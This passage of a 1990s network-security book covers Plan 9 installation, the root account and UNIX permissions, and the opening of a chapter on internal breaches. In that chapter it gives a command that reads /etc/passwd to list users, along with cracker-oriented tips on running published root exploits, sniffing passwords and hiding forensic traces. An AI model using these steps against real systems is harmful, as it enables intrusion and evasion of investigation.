this: \nuser[none]: \nPress the Enter key again. Depending on the speed of your system, you will soon be \nasked whether Plan 9 should start the window system. Choose Yes. \nIf you have gotten this far, 81/2 should load cleanly (barring some obscure error). If so, \nyou will be presented with a bright screen (its color may depend on your video card; on \nmine, the screen is white), a clock, and a window with the contents of the README file \nprinted within it. Welcome to Plan 9. (Look at the size of that mouse cursor!) \nNavigating the file system works much like it does in UNIX. You can use the CD \ncommand to get from directory to directory. Here are some minor notes that may assist \nyou on your first test drive of Plan 9: \n• \nThe -a option in the ls utility is not supported. You are not crazy, it is simply not available in \nPlan 9. \n• \nThe -F flag is supported in Plan 9. However, the output appears a bit differently than in UNIX. \nThe character that denotes a directory is found on the extreme left of the table, not the right. It is \neasy to miss. \n• \nIf you are a big fan of the MORE utility, you may be disappointed. Use CAT instead. \n• \nIf you want to get an overall look at the system, start ACME. This utility works a similarly to a \nfile manager, revealing files and directories. These can be opened within the ACME environment. \n" }, { "page_number": 422, "text": " \n \n• \nDF is not supported, but DU is. \nSummary \nPlan 9 from Bell Labs is a new and unique operating system that offers an entirely new \noutlook on Internet security. Still, it is far from supplanting modern UNIX. (In fact, many \npeople believe that the next commercially viable operating system will be Inferno from \nLucent. To some extent, this is true, because Inferno is now being used in set-top boxes \nfor interactive TV.) \nPlan 9 seems best suited for very large organizations. The system appears to have been \ndesigned expressly with the Internet in mind and on a grand scale. I would call it some \nfinely crafted mortar with which to seal the cracks in modern networking techniques. \nBecause there is little research available on the security model of Plan 9, we must simply \nwait and see. However, as a hacking project, I cannot think of a better start than Plan 9 \nfrom Bell Labs. \nResources \nFollowing are several resources on Plan 9, including sites on the WWW, papers, and \nmailing lists (of course, some may change by the time you read this book). It seems that \nthe Plan 9 computing base is a small (but growing) faction, making information on this \nnew operating system scarce. \nPlan 9 on the WWW \nThe Plan 9 Server Document Directory \n• \nftp://plan9.bell-labs.com/plan9/doc/ \nThe Plan 9 PC Diskette Installation Distribution \n• \nftp://plan9.bell-labs.com/plan9/pcdist/ \nThe Plan 9 FAQ \n• \nhttp://plan9.bell-labs.com/plan9/faq.html \nTechnical Documentation on Plan 9 (Papers) \n• \nhttp://plan9.bell-labs.com/plan9/vol2.html \nOverview of the Plan 9 File System \n• \nhttp://www.emrtc.nmt.edu/~mikebaz/plan9.html \nThe Plan 9 Mailing List Archive \n• \nftp://ftp.cse.psu.edu/pub/plan9-fans/ \nOnline Bibliography on Plan 9 \n" }, { "page_number": 423, "text": " \n \n• \nhttp://liinwww.ira.uka.de/bibliography/Os/plan9.html \nThe Plan 9 Usenet Newsgroup \n• \nnews:comp.os.plan9 \nThe Unofficial Plan 9 Page (Very Good) \n• \nhttp://www.ecf.toronto.edu/plan9/ \nPlan 9 Web Server at the University of York (UK) \n• \nhttp://www.plan9.cs.york.ac.uk/ \nOfficial Plan 9 Home Page \n• \nhttp://plan9.bell-labs.com/plan9/index.html \nArticles and Such \nPlan 9: Son of UNIX. Robert Richardson. LAN Magazine (Volume 11, Page 41). August \n1, 1996. \nPlan 9: Feature Film to Feature-Rich OS. Paul Fillinich. Byte Magazine (Volume 21, \nPage 143). March 1, 1996. \nPlan 9 from AT&T. David Bailey. UNIX Review (Volume 1, Page 27). January 1, 1996. \nPlan 9 from Bell Labs. Rob Pike, Dave Presotto, and Phil Winterbottom. Computing \nSystems Journal (Volume 8, Page 221). Summer, 1995. \nPlan 9. Sean Dorward, Rob Pike, and Dave Presotto. UNIX Review (Volume 10, Page \n28). April 1, 1992. \nDesigning Plan 9. Rob Pike, Dave Presotto, and Ken Thompson. Dr. Dobb's Journal \n(Volume 16, Page 49). January 1, 1991. \nIs Plan 9 Sci-Fi or UNIX for the Future? Anke Goos. UNIX World (Volume 7, Page \n61). October 1, 1990. \n" }, { "page_number": 424, "text": " \n \n22 \nWho or What Is Root? \nThroughout this book, I have made references to the terms root and administrator. It \noccurred to me that the average user might have no idea what those terms mean, so I have \nprovided this brief chapter to explain these concepts. \nThe General Idea \nMost users deal primarily with a single workstation. Their first experience with such a \nmachine probably comes at home or at school. Even when the machine is connected to a \nnetwork, a user might think of his machine as the only one of relevance. That is, he might \nview his machine as a separate entity that exists (or could exist) without the presence of \nall those other machines. \nIn most instances, that is exactly right. The majority of workstations have a local disk and \non that disk, local software, including an operating system and applications. Only in hard-\ncore networking or academic environments do you see the diskless client. \n \nNOTE: A diskless client is any machine that lacks a local hard disk drive and must \ntherefore find another way to boot. One way is through the use of a floppy that loads the \nminimum drivers necessary to engage the Ethernet card within the machine. This card \nthen sends a broadcast message requesting a login session. This is common in networks \ndriven by Novell NetWare, for example; these networks use a floppy with the Ethernet \ndriver, the LAN adapter software, and a small shell. Another method is where the \nworkstation has firmware (or other software, hard-coded to some portion of the board) \nwithin it that can initiate a boot session over a network via Ethernet or other protocols. \nThis is more commonly seen in UNIX-based networks, with the use of X terminals or the \nuse of remote booting services. \n \nNevertheless, most users learn about computers by using their home machine. Although \nmachines at work might restrict users to a single program or operate on a now archaic \nplatform, the home machine is completely under the users' control. They can navigate, \nexecute programs, and delete items as they see fit (alas, often to their detriment). So the \naverage user probably has only a murky understanding of how a network operates. \nIndeed, the average user had no reason to understand networking...until now. \nIn a network, there must be some central control not just for humans but also for \nmachines. Consider the use of name servers. A name server provides a method to resolve \nInternet addresses from names. Every real network on the Internet has one such name \nserver. If any machine on that network is unaware of the name server's address, that \nmachine will be unable to resolve Internet hostnames to physical addresses. The name \nserver's address, therefore, must be located somewhere on the drive. In UNIX networks, \nthis information is generally stored in the /ETC/RESOLV.CONF file. On the Mac platform, \nthis is stored in the MacTCP settings (generally reachable through the Control Panels \n" }, { "page_number": 425, "text": " \n \nmenu). On the Microsoft Windows platform, it is stored (at least for dial-up accounts) in \nthe dial-up networking configuration of each individual connection. This is generally \nspecified in the TCP/IP settings of the connection (see Figure 22.1). \nFIGURE 22.1. \nTCP/IP settings for a connection: the name server. \nUsing a name server is a way of centralizing information so that it is easier to reach. \nConsider the Archie network. Archie servers can be used to search for files all over the \nworld; for example, you could search for a file and find that the only location for it is in \nIran. The Archie system works differently than you might think. It doesn't fan out across \nthe globe, searching every machine on the Internet until it finds (or fails to find) the \nrequested file. Instead, administrators of networks report the content of their drives to \ncentralized Archie servers. This makes sense because it is easier to search a simple record \ndatabase on an Archie server than engage connections all over the world. In this way, \nArchie servers and gateways use simple techniques to perform what appears to be a \nmodern miracle. \nSimilarly, a small network has many centralized resources. These may include file \nlibraries, applications, or address databases. Centralization of these resources ensures that \nthe system runs smoothly and effectively. For example, imagine if everyone on the \nnetwork could designate any Ethernet or IP address they wanted for their workstation. \nHow would other machines know what this address was? This would cause a great deal \nof confusion on the network. Certainly, information would not travel reliably in such a \nclimate. \nThe design of the modern network also provides for some level of economics, not only \nfrom a financial point of view, but from a practical one. For example, each workstation \nneed not install a C compiler as long as one is available to all users. These shared \nresources can be enjoyed by all users, but must be installed only once. (This is a slight \noversimplification; in many instances, a single interpreter or compiler might not suffice.) \nSomeone must control where, when, and how such resources can be used; that someone \nis whom I refer to when I use the terms root, supervisor, administrator, and operator. \nThis person (or rather, this account) works almost identically on all networked operating \nsystems. This account has privileges to read, write, execute, delete, create, list, or \notherwise modify every file on the drive. As such, this person has enormous power. \nAlthough this power is necessary to maintain the system, it can be quite dangerous in \ninexperienced hands. This lesson is quickly learned by users who decide to migrate from \nthe Microsoft Windows platform to UNIX. To get this change-over under way, many \nusers purchase a book on Linux that comes with a CD-ROM. They manage to get through \nthe installation process and log in as root, and then they travel around the drive, trying out \nvarious applications. Inevitably, they delete or otherwise modify some crucial part of the \nsystem, rendering the system unusable. Not yet possessing the skills necessary to find and \nremedy the problem, they simply reinstall. The average new Linux user does this two or \nthree times before finally getting it right. (Getting it right means not roaming the drive as \nroot without a valid reason. Instead of roaming as root, you should create a user account \n" }, { "page_number": 426, "text": " \n \nfor yourself with limited privileges until you learn the system more completely. This user \naccount will inherit privileges that forbid you from destroying crucial, indispensable \nnetwork resources.) \nBecause network administration is such a touchy subject, those charged with this \nresponsibility are usually long on experience. Most of them are toolsmiths, individuals \nwho not only can run the system efficiently, but can create new software to improve on \ndeficiencies inherent in the out-of-the-box operating system distribution. At a minimum, \nroot must know how to properly administer file and directory access control. \nAbout Access Control \nAccess control refers to methods of controlling user access to files, directories, ports, and \neven protocols. Modern forms of access control grew out of efforts to create secure \nsystems. For example, the criteria used to measure the security of a system naturally \ninclude access control as an integral element. The capability to grant or deny access by \nthis or that user to a given resource should be an inherent part of the networked operating \nsystem. Most networked systems have some form of access control. \nMost schemes of access control rely on a system of privileges or permissions. These \nmight involve read, write, or list permissions, or they might be even more finely \nimplemented. The level to which these are categorized dramatically affects whether or \nnot access control will be used. Some forms of access control are so restrictive that the \nnetwork might be unable to run efficiently. \nIn any event, root decides the majority of these permissions. Some access control \nschemes are embedded within the system. For example, on many operating systems, a \nseries of directories or files are owned (or limited to access) by root or the network \nsystem administrator by default. Thus, by default, only root can access them. These are \ntypically system configuration files vital to the operation of the network. In the wrong \nhands, these could provide unauthorized access to and perhaps compromise of the \nnetwork. \nOn a UNIX network, you can easily identify all permissions simply by listing a directory \nstructure of the files within that directory. To get an idea of how this listing looks, see \nFigure 22.2. \nFigure 22.2, a typical example of a listing from the base directory of a UNIX box, shows \na series of columns of information. Each column displays significant details about the \nlisted file or directory. Figure 22.3 shows those columns broken down into categories of \ninformation called attributes. \nI want to briefly detail these attributes. They are, in reverse order of importance in terms \nof access control: \n• \nAttribute #4: File Statistics. These columns relate the size of the file or directory, the date and time \n(usually of its last modification, or where there is no modification, when it was created), and the \nname. This is very similar to the information you receive on a DOS directory listing or in a file \nmanagement application like Explorer in Windows 95. \n" }, { "page_number": 427, "text": " \n \n• \nAttribute #3: The Group. This column specifies the group to which the file is assigned. Groups are \nclusters of individuals (usually) who have common permissions and requirements throughout the \nsystem. However, system processes can also belong to groups, and can even form them. Figure \n22.3 lists two groups: root and sys. \n• \nAttribute #2: The Owner. This attribute specifies the owner of the file or directory (in this case, \nroot). \n• \nAttribute #1: Permissions. This field is where permissions are explicitly stated. \nIt is with Attribute #1 that we most concerned. Attribute #1 (or the permissions) are set to \nreflect three distinct elements of access. Reading Attribute #1 from left to right, those \nelements are \n• \nThe permissions for the owner (who is revealed in Attribute #2) \n• \nThe permissions for the group (identified in Attribute #3) \n• \nThe permissions for those not belonging to the group specified in Attribute #3 (the rest of the folks \non that system) \nIn each case, a letter or a dash appears. The dash signifies that a certain access permission \nor privilege is denied. The remaining letters (r, w, and x) represent access privileges; \nspecifically, they represent read, write, and execute access. \n \nNOTE: If you examine the listings provided in Figure 22.2, you will also note that a d \nappears within the first field (Attribute #1). This signifies that the listed item is a \ndirectory and not a file. \n \nThe structure of the permission scheme reads from left to right in ascending order. In \nother words, the first three characters (reading from left to right) represent the \npermissions for the owner. The next three represent permissions for the group. The last \nthree represent permissions for the rest of the world. \nNetworked operating systems that have access control might not present it in exactly this \nmanner. UNIX has presented permissions this way for many years. It is a quick and \nefficient way (at a command prompt) to find out who can access what. Different systems \nmight do this in different ways. Older Novell NetWare, for example, has a shell interface \nthat allows you to use a semi-graphical interface to set and view these permissions. \nMicrosoft Windows NT is graphical, but you can also set a surprising number of access \ncontrol options from a prompt. \nAbout Gaining Root \nIf this is how UNIX implements access control, the obvious task of a cracker is to gain \nroot privileges. Because UNIX was (and probably still is) the predominant operating \nsystem on Internet servers, crackers have put themselves to the task of gaining root for \nover 20 years. The reason is simple: Whoever has root sets the permissions; whoever sets \n" }, { "page_number": 428, "text": " \n \nthe permissions has control of the entire system. If you have compromised root, you have \nseized control of the box (and maybe the entire network). \nPros and Cons of the Permissions System \nThe permissions system has many advantages, including support of classing. That means \nyou can create a hierarchical structure in which you can refine the privileges based on \nclasses (of groups, users, and so forth). Because of this, you can quickly and efficiently \nimplement at least the basics of security. Groups can reflect the organizational structure \nof your firm. Naturally, any member of a group will inherit security permissions from his \nparent group (in other words, a certain member of a group will inherit the same default \npermissions on files that all members of the group would have immediately upon being \nadded to the group). Thus, you can assign at least minimal privileges with a single stroke. \nAfter setting the group (and after the owner and user of the group have inherited these \npermissions from their superseding classes), root can begin to detail a more refined \nexpression of those privileges. That is, root can begin to implement even more restrictive \nguidelines for a particular user's permissions. A well-organized system administrator can \nefficiently manage the permissions and privileges of hundreds or even thousands of users. \nAmazing. \nNevertheless, the system has its drawbacks. Indeed, the very existence of root is a \nsecurity risk for several reasons. For instance, any program that must be run as root will, \nif successfully attacked, grant the attacker root privileges. Furthermore, if root is \ncompromised, the entire system is subject to attack. This is especially critical in \nmultisegment networks. \nCracking Root \nAlthough I have no hard evidence, I would suggest that the percentage of crackers who \ncan obtain root on a given box or architecture is pretty high. The percentage who can do \nit on a UNIX system is a more or less static value, I would imagine. Much is known \nabout UNIX, and the reporting lists are quite informative (the same might be said for \nNovell NetWare). Nonetheless, that number with respect to NT is changing rapidly in an \nupward direction. I suspect that within a year, that number will be as high or higher than \npercentages in other categories. \nCracking root (at least on UNIX) occurs far more commonly through advanced \nprogramming techniques than through cracking the /etc/passwd file. Root operators \nknow a little something about security and generally make their own passwords \nextremely difficult to crack (and they should). Experienced system administrators have \nprobably cracked their own passwd file a dozen times. They will likely create a password \nthat takes weeks or even months to crack. Thus, employing a password cracker is \nprobably a waste of time. \nIf, on the other hand, programs located on the disk are run as root processes, you might \nbe able to crack root quickly and easily. It is not necessary that you log in as root, only \n" }, { "page_number": 429, "text": " \n \nthat you gain root privileges. This most often comes through the exploitation of a buffer \noverflow. \n \nTIP: You can get a better view of buffer overflows and other programming errors and \nweaknesses in Chapter 30, \"Language, Extensions, and Security.\" \n \nExploits of this nature are posted regularly to many mailing lists and newsgroups. As \nlong as the cracker knows how to run a compiler, these postings can be clipped and \npasted directly to a text editor, compiled, and executed with minimal effort. After the \ncracker has made a test run on a similar platform (for example, on a SolarisX86 to \nsimulate a possible Solaris hole, or ideally, Solaris to Solaris), he is ready. The \ncompromise will take only seconds. \nIn most cases, the cracker need not even keep up with the times. Many older holes still \nwork on systems that have not been adequately secured. I hate to say it, but most system \nadministrators do not spend their time scouring mailing list archives for possible holes \nwithin the system. Too bad. \nRoot Might Be a Thing of the Past \nAs incredible as it may seem, root might soon be an outdated concept. Many of the \nsecurity problems that emerge on the Internet are due to the existence of this privileged \naccount. Studies are underway to seek alternatives. The folks at Bell Labs have actually \nimplemented such a system called Plan 9 (see Chapter 21, \"Plan 9 from Bell Labs\"). As \nexplained in the publicly available documentation on Plan 9: \nPlan 9 has no super-user. Each server is responsible for maintaining its own security, usually \npermitting access only from the console, which is protected by a password. For example, file \nservers have a unique administrative user called adm, with special privileges that apply only to \ncommands typed at the server's physical console. These privileges concern the day-to-day \nmaintenance of the server, such as adding new users and configuring disks and networks. The \nprivileges do not include the ability to modify, examine, or change the permissions of any files. If \na file is read-protected by a user, only that user may grant access to others. \n \nCross Reference: The above paragraph is excerpted from \"Plan 9 from Bell Labs,\" a \npaper by the core members of the Plan 9 team. Those members are Rob Pike, Dave \nPresotto, Sean Dorward, Bob Flandrena, Ken Thompson, Howard Trickey, and Phil \nWinterbottom. This paper can be found online at http://plan9.bell-\nlabs.com/plan9/doc/9.html. \n \nPlan 9 is an interesting idea, and will surely eliminate many of the security problems now \nassociated with the root account. Nonetheless, there are other problems that this new \nsystem could create. One revolves around this statement (made in \"Plan 9 from Bell \nLabs\"): \nIf a file is read-protected by a user, only that user may grant access to others. \nIf this policy was enforced in the most absolute sense, malicious users might present a \nproblem. For example, if a malicious user's materials were read-only to the rest of the \nworld, or if even more stringent controls were placed on access of the files, it might \n" }, { "page_number": 430, "text": " \n \npresent a situation where the only viable answer to a malicious user is to freeze or \npossibly destroy his account. This is a nice solution, but an irritating one, all the same. \nThis notwithstanding, I believe the Plan 9 model is far more secure not only because it \neliminates root but because of the unique manner in which it implements distributed \ncomputing. As you might remember from Chapter 21, Plan 9 uses both a CPU and a file \nserver. The user is saddled with something that is a cross between an X terminal and a \nPC. Because the file server remains isolated, and because nearly all resources are \ndistributed and the permissions set on that file server are automatically set in a dynamic \nfashion (for example, as files and processes change or are created), there is a good chance \nthat a systemwide compromise of Plan 9 is nearly impossible. \nNonetheless, there might be other security implications of Plan 9. For example, because \nyou can tap a resource from any type of file system, remote or otherwise, and because \nthese resources can be attached to local directories to act and appear as though they are \nlocal, there is the possibility that Plan 9 might ultimately emerge as a tool capable of \ncompromising other operating systems. This is hard to say, however, because there is \nrelatively little documentation available about tests in this area. I haven't tried to make \nsuch a test. Yet. \n \nNOTE: The developers of Plan 9 thought big. By that, I mean they thought in terms of an \noperating system that could support a total number of users in the tens of thousands. I can \nsee where it will ultimately be used in WAN settings. \n \nRoot on Other Operating Systems \nUNIX is not the only system that uses root. Microsoft Windows NT also uses a version of \nroot, called administrator. Similarly, Novell implements a version called supervisor. In \nall cases, root's power and obligations are the same: They involve system management. \nBoth systems provide for almost identical control of access permissions (however, I \nbelieve NetWare is a bit more comprehensive). \nThe Cracker Who Is Root \nI should explain here that having root is not an uncommon condition. Root can be had for \nthe price of a few dollars. For example, you can install Linux or FreeBSD on a PC and \ninstantly be root on that particular box. Some administrators might scoff at this, thinking \nit matters little if a cracker establishes a box on which he or she is root. But this does give \nthe cracker some small advantages: \n• \nIt gives the cracker access to some native applications in the operating system environment that he \nwould not otherwise have. I have mentioned that having root status on a UNIX box provides the \ncracker with many tools that are not available on other platforms. \n• \nSecurity specialists often write commercial-grade packages and release them on the Internet free \nof charge. In some instances, this is purely a philanthropic act, a contribution to network security \nby people with the ability to improve it (SATAN is one such program). In other instances, a \nproduct might be provided free to noncommercial users, but might be restricted to use on a \n" }, { "page_number": 431, "text": " \n \nlocalhost box. SAFESuite by ISS is an example of one such utility. Because such tools can be a \nthreat to Internet security if in the wrong hands, developers often design them so that only root can \nrun the software. This poses a natural barrier to many crackers. For example, they cannot simply \nload the software onto a workstation at a university and expect the software to run. Also, although \nmany free versions of UNIX can be acquired for next to nothing, the cracker also needs to come \nby the hardware. That means impoverished crackers can't easily set up their own equipment and \ncall themselves root. \n• \nThe cracker gets an opportunity to learn how logging works. Because he is root, he can attack his \nmachine and analyze the results. He can also try out various types of security software and attempt \nto circumvent those utilities. \n• \nThe cracker who is root learns the fundamentals of system administration. This, more than any \nother experience, offers valuable knowledge and insight into system security. \nThere are also less important advantages, such as being able to manipulate one's own \nmail and news server, and provide networking services to other crackers in the void. \nHowever, these advantages are negligible from an educational point of view. The only \nreal challenge involved there is that of preventing individuals who do have access to the \nbox from destroying it. \nBeware of Root \nIf you are a cracker, you will need to beware. Root operators are very testy. If they \nsuspect you of wrongdoing, you have problems. This brings us to an important issue: \nRoot is always a human being. How that human being deals with you differs case by \ncase. \nCrackers routinely position themselves in direct opposition of root, primarily because the \nrelationship between these two sets of people is assumed to be adversarial. In fact, the \nrelationship is adversarial, but that does not necessarily mean a state of war. Many system \nadministrators revel in stories about cracked networks. As long as that network is not \ntheir own, such stories are consuming and highly informative. One almost gets the feeling \nthat some system administrators carry a recessive cracker gene, but manage to find a \nsuitable (and constructive) outlet for this darker side in testing the security of their own \nnetwork. In fact, you could say that in order to maintain a secure network, one has to \nhave a little cracker sense. \nNonetheless, contrary to what many might think, root people are often what I would \ncharacterize as very hip. Their position demands great responsibility, which they \ngenerally shoulder alone. Thus, one might say that root people exist in their own world; \nwithin it, they are omnipotent (or at least, they initially appear that way). To be a good \nsystem administrator, you need more than good toolsmithing skills or a solid knowledge \nof the operating system. You must have a certain level of humanity and good judgment. \nIn my experience, most system administrators will tolerate a little skullduggery before \nthey freeze an errant user's account. This courtesy is extended not because they favor \ncrackers, but because most system administrators have a fundamental sense of fair play. \n" }, { "page_number": 432, "text": " \n \nThat said, beware of root. Few individuals are more apt to persevere than a system \nadministrator whose network has been compromised. They might hunt you down across \ncontinents, or might simply fly from California to North Carolina, armed with some cell \ntelephone scanning tools (as in the Shimomura case). In one instance, a 75 cent error \nprompted a now famous system administrator (Clifford Stoll) to track down and expose \nan entire espionage ring centered in Germany. The Cuckoo's Egg: Clifford Stoll, an \nastronomer, conducted research at Lawrence Berkeley Laboratory (LBL) in California. \nDuring his tenure there, Stoll assumed responsibility for management of the network \n(Stoll has in fact been using the Internet since 1975) and was assigned to the task of \ndiscovering the source of a 75 cent accounting error. His investigation ultimately \nrevealed that someone had gained unauthorized access to the local network. Rather than \nimmediately deny the unauthorized user access, he allowed the cracker to continue these \nintrusions. Stoll ultimately determined that the cracker was using the LBL network as a \nlaun-ching point to crack systems located in the MILNET hierarchy. (MILNET is a \ndefense-related grouping of networks, distinct from the rest of the Internet.) Stoll \ndetermined that the cracker--based in Germany--was stealing important defense-related \ninformation. Stoll finally enlisted the help of American and German intelligence agencies \n(who were not initially willing to listen to his suspicions). It turned out that the cracker \nwas part of a ring that was stealing U.S. defense information and selling it to the Soviets. \nThe story became an Internet legend, second only to the Internet Worm. For more \ninformation, pick up a copy of Stoll's book, The Cuckoo's Egg (Doubleday, 1989), which \nrecords the events in meticulous detail. \nSummary \nThis chapter clears up a few things about root. This is important because in the chapters \nthat follow, I discuss various ways to attack the root account and otherwise obtain root \naccess. The following points have been made: \n• \nRoot refers to anyone who has system administrator status. \n• \nThis status is usually issued on a box-by-box basis. For each box on a UNIX network, there is a \nroot. For each NT box, there is an administrator. \n• \nRoot sets all file and directory permissions that are not automatically set by the operating system \nat the time of install. \n• \nThese permissions either grant or deny users (and groups) read, write, or execute access privileges. \nChapter 23, \"An Introduction to Breaching a Server Internally,\" addresses some issues \nregarding crackers and how they obtain root access. \n" }, { "page_number": 433, "text": " \n \n23 \nAn Introduction to Breaching a Server \nInternally \nThis chapter briefly discusses the internal breach. An internal breach can be defined as \nany breach of security on a network to which the hacker or cracker has some access, on \nwhich he is a user with a valid account, or where he is a member of a company that \nmaintains such a network. \nWhether you are a victim or a perpetrator of an internal breach, know this: Authorized \nusers have access to an enormous amount of information that remote (and unauthorized) \nusers and crackers work hard to acquire. For example, building a list of users on a UNIX \nsystem is only a few keystrokes away for the authorized user. It can be done as simply as \nthis: \nypcat passwd || cat /etc/passwd) | sed -e `s/:.*//' \nCompare this with building a reliable username list from the outside. This might entail \nwriting a script that routinely issues finger and ruser requests, checks the data against \nan outfile, and discards dupes. Even if the network you are targeting is small, you could \nspend a lot of time trying to obtain a decent list. In contrast, larger networks such as ISPs \nmight render hundreds of names at a time. It depends on how lazy the system \nadministrator is at that location. As I discuss in Chapter 13, \"Techniques to Hide One's \nIdentity,\" if the system administrator has failed to install a hacked finger daemon or failed \nto restrict finger access either marginally or completely, a huge user list can be obtained \nwith a single command line. So my first point is this: Local users who have even limited \nbut authorized access can obtain quite a bit of information about users. \nAdditionally, they have access to tools that are unavailable to remote, unauthorized users. \nExactly what those tools are depends on the system; but in most UNIX-based \nenvironments, this includes at least shell language access and probably Perl access. If the \nnetwork in question is an ISP, it probably also includes access to a C compiler. If that ISP \nis running Linux, there is a strong chance that a laundry list of compilers is available. \nMost system administrators who use Linux install the majority of, if not all, development \npackages. Certainly, TCL will be available. This will probably be accompanied by gcc \nand g++, a BASIC development package, and perhaps Pascal, Python, FORTRAN, and \nothers. Aren't Linux and GNU wonderful? \nNevertheless, the shell languages alone are enough. These, coupled with awk and sed, \nformulate a formidable programming environment. And this doesn't apply exclusively to \nUNIX, either. Here are some power-packed development tools that could empower a user \non other networks or platforms: \n• \nC and C++ \n• \nQbasic, BASIC, or VB \n" }, { "page_number": 434, "text": " \n \n• \nEnvelop \n• \nPascal \n• \nAssembly \n• \nPerl \nIn fact, user access to programming tools is an even more critical issue in the Windows \n95 environment. NT, providing it is installed correctly, boasts strong access control. This \ncontrol is at least as strong as in most implementations of non-trusted UNIX. In contrast, \nWindows 95 has no access control. \nBecause of this, a local user can install such development packages on his workstation at \nany time. Most of these tools now exist in free form, either from GNU or some other \norganization or vendor. There are even TCL interpreters for Windows 95, so the user \nneed not spend $400 for a development package. Contrast this with the UNIX and NT \nenvironments. A local user installing such packages on a local workstation has serious \nproblems. For example, access control policies can prevent users from executing \nprograms in certain directories. Also, disk quotas are often instituted on such networks. \nThus, a user only gets (for example) 8MB of space for himself. This precludes all but the \nsmallest compilers, and even then, installation is tricky. \nConversely, a user can install anything he likes on a Windows 95 network; however, he \nprobably doesn't even have to. If a full distribution of Office is available and no third-\nparty access-control product has been installed, the local user will at least have access to \nWordBasic or other tools that, while not generally characterized as full-fledged \ndevelopment tools, can offer increased levels of access and control. Let's not even \nconsider the possibilities if Java is available. \nMoreover, local users have an immediate avenue to the network. They are therefore \nprime candidates to place a sniffer on the drive or drives. As discussed in earlier chapters, \nthis allows them to obtain (at the very least) the usernames and passwords of those \nlocated on the same network segment. \nThere are other advantages of being a local user. One is simply that you are authorized to \nbe there. Think of this not in terms of computers but in terms of real life. An individual \nwho is about to commit a burglary late at night is already in a compromised position. If \nhe is found loitering about the grounds of a local resident's home, he already appears \nsuspicious. However, if he lives inside the house as a guest, he has every right to be \nlurking about at 3:00 a.m. \nSimilarly, a local user with authorized access (who intends to exceed that access) is \nsupposed to be there. Although it might seem odd for someone to be logged on in the \nmiddle of the night, normal user activity during the day is perfectly acceptable. \nWith this right comes certain amenities. One is that the user's presence on the system \nneed not be hurried. In contrast, a cracker who tries to leverage the simple access he has \ngained may be forced to spend only short periods on the network. Until he gains root (or \na reasonably facsimile thereof), he is constantly under pressure and the threat of being \n" }, { "page_number": 435, "text": " \n \ndiscovered. In contrast, a local, authorized user can crack at his leisure. He need not hurry \nat all. In fact, he could spread his activity over a period of months. \nFurthermore, local users have the ability to use perfectly innocuous techniques (that in \nthemselves cannot be deemed unauthorized) to derive information about the system. A \nuser can quietly run netstat, arp, ifconfig, and other queries without anyone thinking \ntwice. Therefore, he has the luxury of building an enormous knowledge base about the \nsystem using techniques that will likely never be logged. The system administrator who \nends up investigating a breach that started this way can only hope that some of these \nqueries were redirected to outfiles or hope for other tangible evidence. \nThat said, being a local user does have its disadvantages. For instance, cracking under an \nauthorized account places the user in a compromised position if trouble does eventually \nsurface; the system administrator can easily determine who has been doing the cracking. \nIf the cracker is unaware that his activity has been detected (and the system administrator \nhas been logging that activity), he is basically up the creek without a paddle. Subsequent \ntestimony of co- workers can at least establish that this user was sitting at that desk all \nday long. \nMoreover, the local user is under a lot of pressure to avoid leaving materials or evidence \nbehind. The remote user needn't worry about this. For example, a remote user can issue a \nfinger query from his local prompt and redirect the information to a file. No one will be \nscanning the remote user's directories for such files. In contrast, the local user cannot \nsafely leave that information on the drive. In fact, if the situation is sufficiently serious, \nthe local user shouldn't place the information on the drive at all, even if he intends to \ndelete it later. Data recovery techniques are now sufficiently advanced that if the local \nuser discards or otherwise deletes the information, it can probably be recovered. In such \nan instance, the smart local cracker will at least encrypt the data before discarding it. \nHowever, this may even be a wasted effort, depending on the operating system, the \nversion, the type of file, and so forth. \n \nCross Reference: Ever heard of MicroZap? If not, you should become familiar with it. It \nis a utility that will obliterate trace elements of files that have been (or are about to be) \ndeleted. You can get information on this utility online at \nhttp://www.govtech.net/. \n \nFor an interesting (albeit brief) look into this problem, I suggest you read the article \n\"Erased Files Often Aren't,\" by Michael Anderson. In it, he reports how he received some \nfloppy disks from a consortium of executives in law enforcement. He wrote: \nAs you can surmise, curiosity killed the cat and I put on my forensic computer science hat and \ntook a `forensic peek' at the diskettes. That brief examination revealed the diskettes had been \nsanitized and the files on all of the diskettes had been \"erased\" using standard DOS commands. \nThe recovery of the erased files took just a few minutes and the content of the actual files dealt \nwith information that would not be considered sensitive. However, my further examination of the \ndiskettes revealed quite a bit of sensitive data which had been written to the file slack associated \nwith the erased files. \n \nCross Reference: You can find \"Erased Files Often Aren't,\" by Michael Anderson \n(published in Government Technology Magazine, January, 1997) online at \n" }, { "page_number": 436, "text": " \n \nhttp://www.govtech.net/1997/gt/jan/jan-\njustice&technology2/jan-justice&technology2.shtm. \n \nPerhaps crackers reading this aren't thoroughly convinced; perhaps that example was a bit \ntoo benign. What about this case, then: \nThe employees had been using the company's software illegally to manufacture and market \nproducts based on the employer's proprietary program. In an attempt to hide traces of their \nwrongdoing, the employees reformatted the hard drives on their PCs before leaving their \nemployment. The company knew that some of the information on the drives might contain the \nelectronic trail that they needed to stop the illegal use of their intellectual property. They sent the \ndrives to Ontrack's lab in Minneapolis, MN, where the data was reconstructed, leading them to \ncontact outside counsel to pursue action against the former employees. \n \nCross Reference: The previous paragraph is excerpted from an article by Richard K. \nMoher titled \"Computer Crime: Tips on Securing and Recovering Electronic Data\" \n(originally published by New York Law Publishing Company). This article can be found \nonline at \nhttp://www.ljextra.com/securitynet/articles/121796s2.html. \n \nAnatomy of a Local Crack \nAt the beginning of this book, I discussed the types of holes that exist, why they exist, \nand what impact they can have on Internet security. If you remember, I pointed out that \nlocal holes were far and away more common than remote ones. \nRemote holes are matters of extreme concern. In fact, when a remote hole surfaces, \ncrackers have to work to capitalize on that hole within the first few days of its reporting. \nIf they fail to do so, the hole will be swiftly closed, precluding further exploitation. \nMoreover, programmers are extremely careful when coding remote applications, be they \nclient or server. Big vendors are likewise careful because applications that offer remote \naccess form the very binding thread of the Internet. If these applications could not be \ntrusted, the Internet would come to a grinding halt. Lastly, because so much focus has \nbeen on remote applications (particularly by crackers who do often crack across borders \nor even continents), it is rare to find a remote hole that can result in root or even \nprivileged access. \nIn contrast, internal applications may often be flawed. It's not that programmers who \nwork on internal applications are less careful than their counterparts who code remote \napplications; rather, programmers who work on internal applications have a more \ndifficult task. For example, client/server applications are generally limited in their scope. \nTrue, these applications may call others, but their scope is typically limited to a handful \nof operations that occur outside the client/server relationship. \nIn contrast, local internal applications may be required to interface with dozens of system \nutilities or processes. As I mentioned at the beginning of the book, many don't expect \nthese utilities or processes to have security implications. Finally, internal applications \ncould be coded by anybody. Third-party vendors abound for local 